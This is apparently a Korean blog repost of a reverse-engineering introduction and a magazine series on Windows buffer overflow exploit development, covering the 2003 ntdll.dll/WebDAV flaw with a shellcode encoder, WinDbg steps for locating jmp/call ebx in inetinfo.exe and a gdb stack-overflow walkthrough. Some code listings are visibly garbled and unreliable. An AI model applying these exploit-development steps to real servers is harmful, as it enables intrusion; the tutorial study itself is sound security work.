이 글들을 읽을땐 C나 Asm에 대한 약간의 지식이나 API에 대한 사전 지식은 도움이 됩니다.

What is Reverse Engineering?
리버스 엔지니어링이란 무엇인가?
Written by A #Dual_Root




서론

이 글에서는 Reverse Engineering이란 무엇이며,
왜 하는가에 대해서 다룰 것입니다.






필요한 도구들

당신의 지식과 열정 - 이번글에서는 툴은 필요치 않습니다.






대상 프로그램 링크

이번글에서는 대상 프로그램도 필요치 않습니다.






본문


What is Reverse Engineering?

재가 생각하는 Reverse Engineering 이란..
자신 또는 사람들이 원하는 것들을 얻기 위하여 프로그램을 분석하여,
원하는 결과를 얻어 가는 과정이라고 생각합니다.

우리는 컴퓨터를 하면서 알게 모르게 RE를 통해 얻게된 것들을 많이 보게 됩니다.
가장 흔한것이 키젠,시디키 생성기,노시디 패치 같은 것들입니다.
많은 사람들이 RE를 통해 만들어진 것들을 사용해봤지만, 만들줄은 모릅니다.
그렇다면, Reverse Engineering은 도대체 어떻게 하는 것일까요?

컴퓨터의 CPU에는 명령어 세트가 저장되어 있습니다. 이 명령어 세트를
기계어 라고 부릅니다. 모든 프로그램은 전부 기계어로 되어 있습니다.
하지만 이 기계어는 0과1의 단순한 규칙 조합이기에
사람이 이것을 가지고 프로그래밍 한다는 것은 상당히 난해 합니다.
그래서 이 기계어를 보기 쉬운 기호로 나타낸것이 어셈블리어 입니다.
어셈블리어는 텍스트 에디터로 작성됩니다. 그리고 그것을 Assembler에게
번역 하라고 하면 Assembler는 우리가 짠 어셈블리어 코드를 기계어 코드로
변환 시키어 줍니다. 이 변환되어 만들어진 OBJ 파일을 Linker에 넣어주면
Linker는 이를 우리가 컴퓨터를 하며 제일 많이 보게 되는 PE파일(ex: EXE 파일)로
만들어 줍니다.

반대로 Disassembler 라는것이 있습니다. Disassembler란
이미 Assembler와 Linker를 거쳐 생성된 PE파일을 다시 어셈블리어 코드로 바꾸어
주는 프로그램 입니다.우리는 이 Disassembler를 이용하여 프로그램을 역분석
할수 있습니다. 이런 Disassembler툴 중에 필자가 추전할만한 것은 역시
사람들이 가장 많이 애용하는 W32DASM 이나 IDA 혹은 PVDasm 입니다.
그러나 PVDasm은 9x계열에서만 작동함으로, 별로이고 IDA는 초보자에겐
너무나도 복잡하게 느껴질수도 있음으로 간단한 인터페이스를 가지고 있는
W32DASM을 추천 하겠습니다.

그럼 이 Disassembler 만으로 우리는 모든 RE작업을 할수 있을까요?
대답은 아니올시다 입니다. 물런 간단한 작업들이야
그냥 Disassembler만 가지고 할수 있을 것입니다.
그러나 Disassembler 만으로는 불가능 할때가 있습니다.

이런 우리의 갈등을 해결할수 있도록 해주는 것이 Debugger입니다.
원래 Debugger는 프로그램의 Bug를 잡기위해서 만들어진 프로그램 입니다.
그러나 우리는 이 Debugger를 Bug를 잡기 위해 사용하는 것이 아니라,
프로그램에 Break Point를 걸어 원하는 부분을 찾거나,
한줄씩 Step by Step 으로 실행해 가거나 값을 조금씩 바꿔 가며 Input 하여
OutPut 되는 값들을 보는 피드백의 과정을 위해 사용 합니다.
이런 Debugger 중에 추천을 하라면 역시 거의 모든 분들이 최고로 뽑는
SoftIce와 OllyDbg를 뽑겠습니다. SoftIce는 역시 기능적인 면에서는 좋으나
Dos 인터페이스는 초보자에게 거부감을 느끼게 할수도 있습니다.
OllyDbg는 GUI 인터페이스를 가진 Win32 툴이기 떄문에 저는
초보자 분들에게는 OllyDbg를 더 추천 합니다.

앞으로의 글들은 Disassembler와 Debugger 를 가지고 진행 될것입니다.
앞으로의 글들을 통해서 많은 RE기술을 터득하시기 바랍니다.

출처: http://dualpage.muz.ro/
신고















윈도우 버퍼 오버플로우 익스플로잇 개발 - 4  
 
 





셸 코드 인코더
일 반적인 셸 코드에는 해당 언어 팩의 유니코드로 유효하지 않은 코드들이 들어갈 수 있다. <리스트 2>는 이러한 유니코드들을 ASCII 형태로 변환하는 프로그램이다. 열두 번째 줄에서는 웹이나 윈도우 파일 시스템에서 사용하지 못하는 문자들을 걸러내고, 50~52번째 줄에서는 1의 경우 2로 나누면 0이 되므로 유니코드 문자를 사용해 특별하게 처리한다.

<리스트 2> 셸 코드 인코더
1 /*
2 mat@monkey.org
3 mat@panicsecurity.org
4
5 Shellcode encoder for webdav exploit.
6 */
7 #include
8
9
10 int is_special(unsigned char num1)
11 {
12 return (num1==0x3a || num1==0x26 || num1==0x3f || num1==0x25 || num1==0x23 || num1==0x20 || num1==0xa || num1==0xd || num1==0x2f || num1==0x2b || num1==0xb || num1==0x5c);
13 }
14
15
16 void main()
17 {
18 int debug=0;
19 int rc;
20 unsigned char buffer[512];
21 while(rc=read(0,buffer,sizeof(buffer)))
22 {
23 int i;
24 for(i=0;i
25 {
26 unsigned int num1=(buffer[i]/2)&0xff;
27 unsigned int num2=(buffer[i]/2)&0xff;
28
29 if(buffer[i]%2==1)
30 {
31 num2++;
32 }
33 while(is_special(num1) || is_special(num2))
34 {
35 num1++;
36 num2--;
37 if(num2==0)
38 {
39 printf("error! ");
40 }
41 }
42 if(buffer[i]==-1)//0xff)
43 {
44 num2=0x2a;
45 if(debug)
46 {
47 printf(" 00( 0): ",buffer[i]&0xff,buffer[i]);
48 }
49 printf("%u11d5x00",num2);
50 }else if(buffer[i]==1)
51 {
52 printf("%u0411%u00f0");
53 }else{
54 if(debug)
55 {
56 printf(" 00( 0): ",buffer[i]&0xff,buffer[i]);
57 }
58 printf("x00x00",num1,num2);
59 }
60 }
61 }
62 }


jmp, call ebx 찾기
ebx에 우리가 보낸 버퍼의 주소가 들어가는 것을 확인했다. 이 주소로 제어권을 넘기기 위해 jmp ebx나 call ebx 코드를 메모리에서 찾아낸다. 이 주소들도 합당한 유니코드인지 판별한 후 사용해야 한다.



<화면 3> inetinfo.exe선택



<화면 4> 어태치 성공



<화면 5> jmp ebx 찾기



<화면 6> call ebx 찾기



<화면 7> 결과 복사

inetinfo의 jmp ebx, call ebx 주소 값 찾기
① WinDbg를 설치하고 실행한다.
② 이제 프로세스에 어태치해야 한다. 메뉴에서 선택하거나 키를 눌러 프로세스 리스트에서 inetinfo.exe를 찾아 선택한다(<화면 3>). 어태치가 성공하면 브레이크가 걸린 상태로 시작된다(<화면 4>).
③ jmp ebx, call ebx 주소를 찾아보자. 다음과 같은 명령을 내려 0xff 0xe3(jmp ebx)를 찾는다. <화면 5>와 같이 결과가 나올 것이다. 0x10000000~0xe0000000까지 모두 시도해 본다.

s 10000000 L fffffff 0xff 0xe3

④ 다음과 같은 명령을 내려 0xff 0xd3(call ebx)를 찾는다. 마찬가지로 <화면 6>과 같이 결과가 나올 것이다. 0x10000000~0xe0000000까지 모두 시도해 본다.

s 10000000 L fffffff 0xff 0xd3

⑤ 결과를 복사해(<화면 7>) 메모장 등에 복사하고 저장한다.


출처: http://www.imaso.co.kr/?doc=bbs/gnuboard.php&bo_table=article&wr_id=46&page=8
신고















윈도우 버퍼 오버플로우 익스플로잇 개발 - 3  
 
 





윈도우 버퍼 오버플로우의 특징
유 닉스와 같은 시스템에서 버퍼 오버플로우는 리턴 주소를 대부분 추측에 의해 계산하는 경우가 많고, 여러 번 시도할 수 있을 경우 무차별 공격(brute forcing)을 하기도 한다. 반면 윈도우 시스템은 유닉스와는 조금 다른 양상을 보인다.

리턴 주소 문제
윈 도우 시스템의 경우 스택을 오버플로우시켰을 경우 해당 함수에서 리턴하는 시점에 ebx, esp 등과 같은 레지스터에 셸 코드가 들어 있는 버퍼의 주소가 들어 있는 경우가 많다. 따라서 대부분의 경우 리턴 코드는 ‘jmp esp’나 ‘jmp ebx’와 같은 바이트 문자열이 존재하는 위치로 정해진다. 이러한 코드가 존재하는 곳으로 일단 제어권을 넘길 수만 있다면 esp나 ebx가 공격자가 보낸 셸 코드의 위치를 저장하고 있으므로 성공 확률이 높아지게 된다.

윈도우 셸 코드의 특징
윈 도우 셸 코드는 일반적인 유닉스 셸 코드와는 다른 특수한 형태를 띤다. 유닉스 셸 코드가 특정 대상에 대해 항상 호환성을 가지는 반면 윈도우 셸 코드는 그러한 호환성이 없다. 이러한 특징은 윈도우의 아키텍처와 관련이 있다. 유닉스에서는 시스템 콜을 통해 커널의 서비스를 받기 위해 인터럽트를 사용하는 데 반해 윈도우에서는 DLL을 통해 커널의 서비스를 받는다. 사용자 공간에서 인터럽트를 통해 시스템 콜 서비스를 받는 것은 거의 불가능하다. 시스템 서비스를 제공하는 DLL로는 kernel32.dll이 있다. 이 DLL을 통해 시스템과 관련된 대부분의 서비스를 받을 수 있다. <그림 1>은 PE 파일의 포맷이다.
다음은 IMAGE_DATA_DIRECTORY의 구조다. 데이터 디렉토리의 구조는 <그림 2>와 같다.



<그림 1> PE 파일 포맷



<그림 2> 데이터 디렉토리 구조


typedef struct _IMAGE_DATA_DIRECTORY {
DWORD RVA;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

WebDAV 익스플로잇
지금부터 최근에 필자가 만든 흥미로운 익스플로잇인 WebDAV 익스플로잇을 중심으로 윈도우 버퍼 오버플로우의 실체를 살펴보자. 이 익스플로잇에서는 유니코드 리턴 주소를 써야 하는 문제를 재미있게 해결했다.
WebDAV 는 웹 컨텐츠 저작(authoring)을 위한 프로토콜로서 마이크로소프트에 의해 표준이 만들어졌고, 주로 IIS 서버의 컨텐츠 관리를 위해 사용한다. ntdll.dll의 버퍼 오버플로우 버그는 WebDAV를 통해 익스플로잇이 가능했다. WebDAV 메쏘드들에 아주 긴 문자열을 보냈을 경우 버퍼가 오버플로우되어 원하는 코드를 실행할 수 있는 버그가 있었다. 이 버그는 버그트랙(Bugtraq) 7116으로 ntdll.dll의 버그 CVE ID는 CAN-2003-0109이다.
ntdll.dll 버퍼 오버플로우는 ntdll.dll의 RtlDosPathNameToNt PathName 함수에서 발생하고 특정 길이의 문자열이 전달됐을 경우에만 버퍼 오버플로우가 발생했다. 또한 이 RtlDosPathName ToNtPathName 함수를 쓰는 프로그램이 많으므로 그러한 프로그램은 모두 같은 버그에 노출됐다고 볼 수 있다. 이 버그는 윈도우 2000 서비스 팩 3까지의 모든 윈도우 시스템에서 구동되는 IIS 5.0 서버 시스템에 영향을 미친다.



<화면 1> inetinfo가 크래시



<화면 2> esp(스팩) 덤프

사용 가능한 유니코드 찾기
이 익스플로잇의 결과 버퍼가 오버플로우된다. 오버플로우된 버퍼는 유니코드 형태다. 따라서 ‘AAA...’와 같은 문자열은 ‘A|00| A|00|A|00|...’와 같이 변형된다. 그런데 영문판 윈도우와는 달리 한글판 등 유니코드 언어권의 윈도우에서는 %u 문자열을 통해 해당 언어 팩에서 유효한 유니코드 문자열을 메모리에 입력할 수 있다. 다음은 익스플로잇 테스트 코드를 보냈을 경우의 예다. 일단 inetinfo.exe가 크래시된다(<화면 1>). 크래시된 상태에서 <화면 2>와 같이 esp(스택)을 덤프해 보면 ZZZZ...가 Z|00|Z|00|Z|00|...와 같이 널 문자가 추가된 형태로 변환됐음을 알 수 있다. <리스트 1>은 이렇게 유효한 유니코드의 집합을 찾는 프로그램이다.

<리스트 1> 유효한 유니코드 집합 찾기
// uniprint.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include
#include
#include

int main(int argc, char* argv[])
{
unsigned char i;
unsigned char j;

for(i=0;i<255;i++)
{
for(j=0;j<255;j++)
{
char string_to_copy[3];
WCHAR src[256]={0,};
char dest[256]={0,};

string_to_copy[0]=i;
string_to_copy[1]=j;
string_to_copy[2]=0;
memcpy(src,string_to_copy,strlen(string_to_copy));
BOOL lpUsedDefaultChar;

WideCharToMultiByte(CP_ACP,0,src,1,dest,256,NULL,&lpUsedDefaultChar);

if(!lpUsedDefaultChar)
{
printf("%.2x%.2x ",j,i);
}
}
}

return 0;
}


출처: http://www.imaso.co.kr/?doc=bbs/gnuboard.php&bo_table=article&wr_id=45&page=8
신고
  1. 쓰레기 2007.07.27 02:59 신고
















윈도우 버퍼 오버플로우 익스플로잇 개발 - 2  
 
 





스택 기반 버퍼 오버플로우가 발생하는 경우
스 택 기반 버퍼 오버플로우는 스택상의 어떠한 데이터 구조체의 데이터의 바운더리(boundary)를 넘어서 데이터를 저장하면서 스택을 조작할 수 있게 되는 현상을 말한다. 스택 기반 버퍼 오버플로우는 결국 프로그래머의 실수로 인한 프로그램 문제라고 할 수 있다. 이러한 버퍼 오버플로우는 주로 배열에 대해 strcpy와 같은 함수를 사용할 때 많이 발생한다. 예를 들어 다음과 같이 간단한 프로그램을 짠다.

#include

void function(char *str)
{
char buffer[10];
printf(“buffer original len:%d ”,sizeof(buffer));
strcpy(buffer,str);
printf(“buffer:%s ”,buffer);
printf(“buffer changed to:%d ”,strlen(buffer));
}

void main()
{
char *str=”We are the hackers of the world”;
printf(“str:%s len:%d ”,str,strlen(str));
function(str);
}

컴파일(gcc -o sbof_ex1 sbof_ex1.c)하고 실행하면 다음과 같은 결과를 얻을 수 있다.

str:We are the hackers of the world
len:31
buffer original len:10
buffer:We are the hackers of the world
buffer changed to:31
Segmentation fault

buffer 의 길이가 처음에 10이었다가 31바이트의 문자열을 복사하고 나서는 31로 변함을 알 수 있다. buffer는 배열이므로 동적으로 할당되지 않고 메모리의 스택에 위치하게 되는데, 31-10=21만큼의 데이터는 buffer가 아닌 스택의 다른 부분을 겹쳐 쓴 것이다. 스택 프레임의 구성상 이 부분은 함수의 리턴 주소를 포함하는 경우가 많은데 이 경우 마지막 라인과 같이 세그먼트 폴트 등의 치명적인 에러가 발생한다. 이러한 형태로 스택의 할당 버퍼 이상의 영역에 데이터를 복사하다가 스택의 다른 영역을 건드리는 것을 스택 기반 버퍼 오버플로우라고 한다. 이 프로그램을 디버그해 보면 다음과 같다.

bash-2.03# gdb ./sbof_ex1
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i686-pc-linux-gnu”...

① function에 브레이크 포인트를 잡고 실행한다.

(gdb) break function
Breakpoint 1 at 0x804845a

(gdb) run
Starting program: /root/work/projects/sec_doc/attack/programming_errors/sbo/./sbof_ex1
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
str:We are the hackers of the world
len:31

Breakpoint 1, 0x804845a in function ()

② 먼저 bt(back trace)를 해본다. 스택에서 현재까지의 함수 콜 스택을 볼 수 있다.

(gdb) bt
#0 0x804845a in function ()
#1 0x804850f in main ()
#2 0x400312e7 in __libc_start_main () from /lib/libc.so.6

③ EBP(Frame Pointer : 0xbfffec78)와 ESP(Stack Pointer : 0xbfffec60) 레지스터의 값을 확인한다. EBP와 ESP 사이에는 24바이트의 차이가 존재한다. 그 사이에는 로컬 변수와 기타 프로그램 로딩과 관련된 정보가 저장된다.
(gdb) info reg ebp esp
ebp 0xbfffec78 0xbfffec78
esp 0xbfffec60 0xbfffec60

④ EBP를 덤프하면 다음과 같다.

(gdb) x/10a $ebp
0xbfffec78: 0xbfffeca8 0x804850f 0x80485e0 <_IO_stdin_used+92> 0x80485e0 <_IO_stdin_used+92>
0xbfffec88: 0x1f 0x8048441 0x8049630 <_GLOBAL_OFFSET_TABLE_> 0x80496f8

0xbfffec98: 0x400fc974 <__check_rhosts_file+1580> 0x40009f00 <_dl_init_next+204>

⑤ EBP의 첫 번째 4바이트 값은 SFP(Saved Frame Pointer)로 이전 프레임의 프레임 포인터를 가리킨다.

(gdb) x/a $ebp
0xbfffec78: 0xbfffeca8

다음과 같이 SFP의 값의 내용을 다시 추적해 보면 결국 0x0으로 끝난다. 각각의 주소가 프레임들을 구별하는 부분이 된다. 0xbfffecc8이 첫 번째 프레임의 SFP임을 알 수 있다.

(gdb) x/a 0xbfffec78
0xbfffec78: 0xbfffeca8
(gdb) x/a 0xbfffeca8
0xbfffeca8: 0xbfffecc8
(gdb) x/a 0xbfffecc8
0xbfffecc8: 0x0

⑥ EBP의 두 번째 4바이트 값은 리턴 주소로 return이 불릴 때 실행할 명령이 들어 있는 텍스트의 주소를 의미한다.

(gdb) x/a $ebp+4
0xbfffec7c: 0x804850f

function 함수에서 리턴할 때 main+63 위치로 돌아간다는 것을 의미한다.
⑦ EBP의 세 번째 4바이트 값은 함수와 함께 전달된 인자로서 지시하는 곳을 덤프해 보면 인자로 넘겨진 스트링이 있음을 알 수 있다.

(gdb) x/a $ebp+8
0xbfffec80: 0x80485e0 <_IO_stdin_used+92>
(gdb) x/s 0x80485e0
0x80485e0 <_IO_stdin_used+92>: “We are the hackers of the world”
(gdb)

⑧ ESP의 내용을 확인하면 다음과 같다.

(gdb) x/6a $esp
0xbfffec60: 0xbfffec78 0x400649cc
0x400fb140 <_IO_2_1_stdout_> 0x8048600 <_IO_stdin_used+124>
0xbfffec70: 0xbfffec8c 0x400fc974 <__check_rhosts_file+1580>

(gdb) x/24x $esp
0xbfffec60: 0x78 0xec 0xff 0xbf 0xcc 0x49 0x06 0x40
0xbfffec68: 0x40 0xb1 0x0f 0x40 0x00 0x86 0x04 0x08
0xbfffec70: 0x8c 0xec 0xff 0xbf 0x74 0xc9 0x0f 0x40

⑨ nexti 등을 써서 명령을 실행한다. 파일 이름과 라인 번호로 브레이크 포인트를 잡아도 된다.

(gdb) nexti
buffer original len:10
0x804847d in function ()

⑩ strcpy가 실행된 이후에 다음과 같은 메시지를 보면 nexti를 멈춘다.

(gdb) nexti
buffer:We are the hackers of the world

⑪ ESP의 내용을 확인하면 다음과 같다.

(gdb) x/6a $esp
0xbfffec60: 0xbfffec78 0x400649cc
0x400fb140 <_IO_2_1_stdout_> 0x61206557
0xbfffec70: 0x74206572 0x68206568

(gdb) x/24x $esp
0xbfffec60: 0xbfffec78 0x400649cc 0x400fb140 0x61206557
0xbfffec70: 0x74206572 0x68206568 0x656b6361 0x6f207372
0xbfffec80: 0x68742066 0x6f772065 0x00646c72 0x08048441
0xbfffec90: 0x08049630 0x080496f8 0x400fc974 0x40009f00
0xbfffeca0: 0xbfffecf4 0x080485e0 0xbfffecc8 0x400312e7
0xbfffecb0: 0x00000001 0xbfffecf4 0xbfffecfc 0x40012584

(gdb) x/24c $esp
0xbfffec60: 120 ‘x’ -20 ‘疵 -1 ‘’ -65 ‘썬 -52 ‘庫 73 ‘I’ 6 ‘06’ 64 ‘@’
0xbfffec68: 64 ‘@’ -79 ‘’e 15 ‘17’ 64 ‘@’ 87 ‘W’ 101 ‘e’ 32 ‘ ‘ 97 ‘a’
0xbfffec70: 114 ‘r’ 101 ‘e’ 32 ‘ ‘ 116 ‘t’ 104 ‘h’ 101 ‘e’ 32 ‘ ‘ 104 ‘h’

⑫ ESP+0xc의 내용을 확인하면 다음과 같다. 결과적으로 buffer라는 배열은 ESP+0xc(0xbfffec6c), 즉 EBP-12 위치에서 시작했음을 알 수 있다. 즉, 12바이트가 buffer라는 배열에 할당됐는데 이것은 메모리가 4바이트 단위로 정렬되기 때문이다. ESP에서 ESP+0xc까지의 12바이트는 동적 로딩과 관련되는 값들인 것으로 추정된다.

(gdb) x/31c 0xbfffec6c
0xbfffec6c: 87 ‘W’ 101 ‘e’ 32 ‘ ‘ 97 ‘a’ 114 ‘r’ 101 ‘e’ 32 ‘ ‘ 116 ‘t’
0xbfffec74: 104 ‘h’ 101 ‘e’ 32 ‘ ‘ 104 ‘h’ 97 ‘a’ 99 ‘c’ 107 ‘k’ 101 ‘e’
0xbfffec7c: 114 ‘r’ 115 ‘s’ 32 ‘ ‘ 111 ‘o’ 102 ‘f’ 32 ‘ ‘ 116 ‘t’ 104 ‘h’
0xbfffec84: 101 ‘e’ 32 ‘ ‘ 119 ‘w’ 111 ‘o’ 114 ‘r’ 108 ‘l’ 100 ‘d’

⑬ function 함수의 리턴 주소가 저장되어 있던 스택의 내용을 덤프하면 다음과 같다.

(gdb) x/a $ebp+4
0xbfffec7c: 0x6f207372

(gdb) x/10c $ebp+4
0xbfffec7c: 114 ‘r’ 115 ‘s’ 32 ‘ ‘ 111 ‘o’ 102 ‘f’ 32 ‘ ‘ 116 ‘t’ 104 ‘h’
0xbfffec84: 101 ‘e’ 32 ‘ ‘

결국 0x6f207372라는 엉뚱한 주소로 프로그램은 리턴하게 되고 그곳의 코드를 실행하려 할 것이다.

⑭ 이곳은 아무런 함수도 정의되어 있지 않는 영역이다.

(gdb) disassemble 0x6f207372
No function contains specified address.

⑮ 결국 다음과 같이 세그먼트 폴트가 생긴다.

(gdb) cont
Continuing.
buffer changed to:31

Program received signal SIGSEGV, Segmentation fault.
0x6f207372 in ?? ()

만 약 SFP와 리턴 주소를 보전한다면 프로그램이 세그먼트 폴트되는 일은 없을 것이다. 다음 프로그램은 SFP와 리턴 주소를 임시 버퍼에 저장했다가 다시 복원하는 프로그램이다. 이 프로그램은 정상으로 종료됐다. 이와 같은 과정을 거쳐 OFFSET 값을 얻을 수 있는데 스트링 시작 부분과 EBP의 시작 부분의 차이가 OFFSET이 된다. OFFSET 값은 시스템에 따라 차이가 날 수 있다.

#include

void function(char *str)
{
char buffer[10];
char save_buffer[8];

#define OFFSET 12
printf(“buffer original len:%d ”,sizeof(buffer));
/* SFP와 RET 주소를 save_buffer에 저장한다. */
memcpy(save_buffer,buffer+OFFSET,8);
printf(“return address is 0x%.2x%.2x%.2x%.2x ”,save_buffer[4]&0xff,save_buffer[5] &0xff,save_buffer[6]&0xff,save_buffer[7]&0xff);
strcpy(buffer,str); /* 스택 기반 버퍼 오버플로우가 발생한다. */
/* 저장된 스택을 복원해 SFP와 RET 주소를 원상 복귀한다. */
memcpy(buffer+OFFSET,save_buffer,8);
printf(“buffer:%s ”,buffer);
printf(“buffer changed to:%d ”,strlen(buffer));
}

void main()
{
char *str=”We are the hackers of the world”;
printf(“str:%s len:%d ”,str,strlen(str));
function(str);
}

다음과 같이 실행이 문제없이 끝났다.

bash-2.03# ./sbof_ex2
str:We are the hackers of the world
len:31
buffer original len:10
return address is 0x93850408
buffer:We are the h ufff the world
buffer changed to:31

스택 기반 버퍼 오버플로우 찾기
이 처럼 스택 기반 버퍼 오버플로우는 strcat(), strcpy(), sprintf(), vsprintf(), sscanf(), gets() 등의 함수를 사용할 때 발생하기 쉽다. 그 외에도 루프를 돌면서 getc(), fgetc(), getchar() 등을 사용해 문자열을 읽어 올 때 버퍼 크기를 제대로 체크하지 않는 경우에도 많이 발생한다. 또한 루프를 돌면서 문자열을 복사할 때 길이를 잘못 체크했을 경우, 또는 길이와 관련된 변수의 형(type) 변환 실패에 의한 경우 등이 있다. 버퍼 오버플로우를 일으킬 소지가 많은 앞에 열거한 함수들은 주의를 기울여 사용해야 한다.
스택 기반 버퍼 오버플로우를 통해 루트 권한을 얻거나 리모트 시스템에 침투하려면 suid, sgid 프로그램이나 네트워크 데몬에서 스택 기반 버퍼 오버플로우를 찾아야 한다. 수많은 프로그램이 스택 기반 버퍼 오버플로우를 가지고 있지만 suid, sgid 프로그램과 네트워크 데몬, 또는 네트워크 클라이언트 이외의 일반적인 프로그램에서는 보안상 문제가 되지 않는 경우가 많지만 이 분야 역시 해야 할 얘기가 많다. 이 부분에 대해서는 나중에 따로 한 회를 구성해 다룰 계획이다.


춮처: http://www.imaso.co.kr/?doc=bbs/gnuboard.php&bo_table=article&wr_id=44&page=8
신고






















윈도우 버퍼 오버플로우 익스플로잇 개발 - 1  
 
 
지난 3월 발견된 ntdll.dll의 버퍼 오버플로우는 스택 기반 버퍼 오버플로우의 한 사례를 보여주는 보안 버그였다. 이번 컬럼에서는 ntdll.dll 사례를 바탕으로 윈도우 환경에서 어떤 방식으로 버퍼 오버플로우가 일어나는지 그 원리와 작동 방식을 살펴보면서 고질적인 버퍼 오버플로우를 막을 수 있는 방법에 대해 잠시 생각할 수 있는 시간을 마련해 보았다.  
 





최 근 보안에 대한 관심이 높아짐에 따라 TV와 신문에는 보안 전문가를 자처하는 많은 사람이 나와 작금의 허술한 보안에 대해 실상을 폭로한다. 그러나 그 속내를 들여다보면 회사 광고나 자사 제품 광고를 위한 것인 경우가 많다. 이른바 ‘보안’은 하나의 ‘상품’에 불과해진 것이다. 많은 이들에게 보안은 아주 어렵고도 까다로운 분야이고 이해하기 힘든 용어들이 쏟아져 나오는 분야일 것이다.
보안과 뗄 수 없는 행위가 바로 ‘해킹’이다. 해킹은 그 뜻을 이해하기도 힘들지만 구체적으로 어떤 행위인지 알기도 힘들다. 그래서 해킹이라는 의미 자체가 남들이 이해하기 힘든 행동을 뜻하기도 하며, 남들이 하지 않는 아주 특수한 작업을 하는 것 자체를 해킹이라고 부르기도 한다. 따라서 ‘해커’는 평범한 사람과는 다른 괴짜이고 특별한 사람일 것이라고 생각하기 쉽다.
이렇게 보안과 해킹이 어렵고 특별해 보이고 일반인과 거리가 멀어 보이는 것 자체가 사실은 가장 큰 문제가 아닐 수 없다. 이러한 선입견의 결과로 일반인들은 보안에 대해서는 깊게 파고들기를 주저하게 된다. 전산인들조차도 보안과 해킹에 대해서는 아주 특수한 분야로 단정하고 미리 관심을 기울이지 않기 마련이다. 하지만 조금만 사고를 전환해 보면 보안이나 해킹과 같은 것들은 일종의 ‘게임’이나 ‘스포츠’가 될 수도 있다. 특히나 해킹은 아주 흥미진진한 스포츠다.
필자는 스포츠를 보면서 해킹과 아주 비슷한 점을 많이 발견했다. 둘 이상이 서로 경쟁하는 스포츠에서는 우선 이론적인 뒷받침이 있어야 한다. 그리고 이론적인 뒷받침 뒤에는 항상 정확한 ‘구현’이 필요하다. 이러한 구현은 선수들의 훈련의 결과에 의해 결정된다. 이론도 중요하지만 그때그때 상황을 어떻게 해결하느냐가 중요한 문제다.
보안과 해킹도 마찬가지다. 둘 다 이론적인 뒷받침이 아주 중요하다. 보안은 물론 해킹 분야에서는 그 이론적인 뒷받침을 해주는 수많은 문서가 존재하며 하루에도 엄청나게 많은 정보가 쏟아진다. 하지만 이러한 정보의 보유 여부보다는 그 정보를 관리자나 해커가 얼마나 잘 훈련해 소화하느냐가 더 중요한 경우가 많다.
이러한 관리자와 해커는 서로 경쟁 관계다. 관리자가 조금이라도 밀리게 되면 사이트가 뚫리는 것이고, 해커가 밀리면 사이트를 지킬 수 있는 것이다. 둘 사이의 경쟁은 시간에 따라서 서로 기술을 발전시키며 앞서거니 뒤서거니 하며 발전한다. 그리고 가장 중요한 점은 서로가 상대편을 제대로 알지 못하면 이 경기에서 이길 수 없다는 것이다. 따라서 해커들은 보안 기술을 공부하고 보안 관리자들은 해킹 기술을 공부하게 되어 결국에는 서로 공부하는 분야가 같아진다. 이론적인 배경과 관심 분야가 서로 일치할 때 경기 결과는 오로지 각 경기에 임하는 선수들의 능력에 의존하게 된다. 그만큼 보안과 해킹은 아직은 수공업 단계의 기술로서 인간 자신이 중요한 분야다.
많은 사람이 해킹은 편법으로만 이루어진 아주 하급적이거나 주변적인 기술 정도일 것이고, 해커들은 그러한 주변 기술을 다루는 주변적인 인물일 것이라고 오해를 하는 경우가 많다. 물론 어느 분야와 마찬가지로 그러한 사이비 선수들이 없는 것은 아니다. 하지만 해커 중에도 일반 전산 분야에서도 우수한 성적을 내놓을 수 있는 능력을 갖춘 선수는 얼마든지 있다.
또한 해킹이라는 분야 자체가 해당 분야에 대한 기본 지식이 없으면 사실 파고들 수 없는 분야이므로 해킹에 대해 제대로 된 선수가 되기 어려운 것이 사실이다. 이것이 바로 사이비 해커들이 양산되는 원인이기도 하다. 해커가 대중 매체에 의해 사이버 세계의 정복자 내지는 신으로 그 의미가 와전되면서 순진한 청소년들의 마음에 해커가 되고 싶은 열정을 심어 놓았다. 하지만 그러한 대중 매체는 해커의 윤리나 기술은 가르치지 않기 때문에 많은 사람이 사이버 세계를 정복하고 싶은 마음만으로 하급 기술 내지는 쓰레기 기술을 수집하면서 남들을 괴롭히는 ‘사이버 산적’ 정도의 인물이 되고 있다. 해커의 어원과 정확한 의미에서 볼 때 그러한 사람들을 해커라고 부를 수는 없다. 그러한 사람들은 ‘크래커’나 ‘스크립트 키디’와 같은 용어로 표현하는 것이 적절할 것이다.
스포츠라는 단어가 생겨난 것은 13세기경으로 ‘엄하고 가혹한 작업이나 노동에서 잠시 벗어나 기분을 전환한다’는 뜻으로 쓰였다. 근래에 들어와 스포츠 자체가 완벽한 상품이긴 하지만 초기 스포츠는 레크리에이션의 순수한 의미를 지니고 있었다. 해킹도 점점 상품화가 되어 가고 있지만 초기의 순수한 정신으로 비추어 본다면, 일종의 ‘지적 스포츠’라고 볼 수 있다.
우수한 선수가 되기 위해 기본기가 철저해야 하듯이 해커가 되기 위해서는 컴퓨터 과학에 대한 기본기는 갖추고 있어야 한다. 그리고 부단한 훈련과 이론적인 학습 또한 중요하다. 뛰어난 해커는 개인의 천재성보다는 훈련의 결과물일 경우가 많다.
일단 자신이 전산학에 대해 기본기가 되어 있다고 생각한다면 이번 컬럼부터 제시할 문제들을 흥미를 가지고 도전해 보기 바란다. 첫 번째로 제시할 문제는 2003년 3월에 발견된 ntdll.dll의 버퍼 오버플로우 보안 문제다. 일단 버퍼 오버플로우에 대해 간단히 개념을 정리한 후 윈도우 버퍼 오버플로우의 특징과 익스플로잇(exploit) 방법에 대해 ntdll.dll의 익스플로잇을 예로 하여 알아보기로 한다.
아마 많은 독자들이 이 내용을 이해하기 힘들 것이다. 하지만 여기에 나오는 내용은 운영체제의 메모리 관리 방법과 윈도우 시스템의 특성, 어셈블리 언어, Perl에 대해 알고 있다면 모두 이해할 수 있는 것들이다. 먼저 이러한 필요조건들을 충족시킨 후 여기에 제시한 문제들을 상상력을 최대한 발휘해 이해해 보기 바란다.

버퍼 오버플로우란
인터넷 용어를 정리한 자곤(jargon)을 보면 버퍼 오버플로우에 대해 다음과 같이 기술하고 있다.

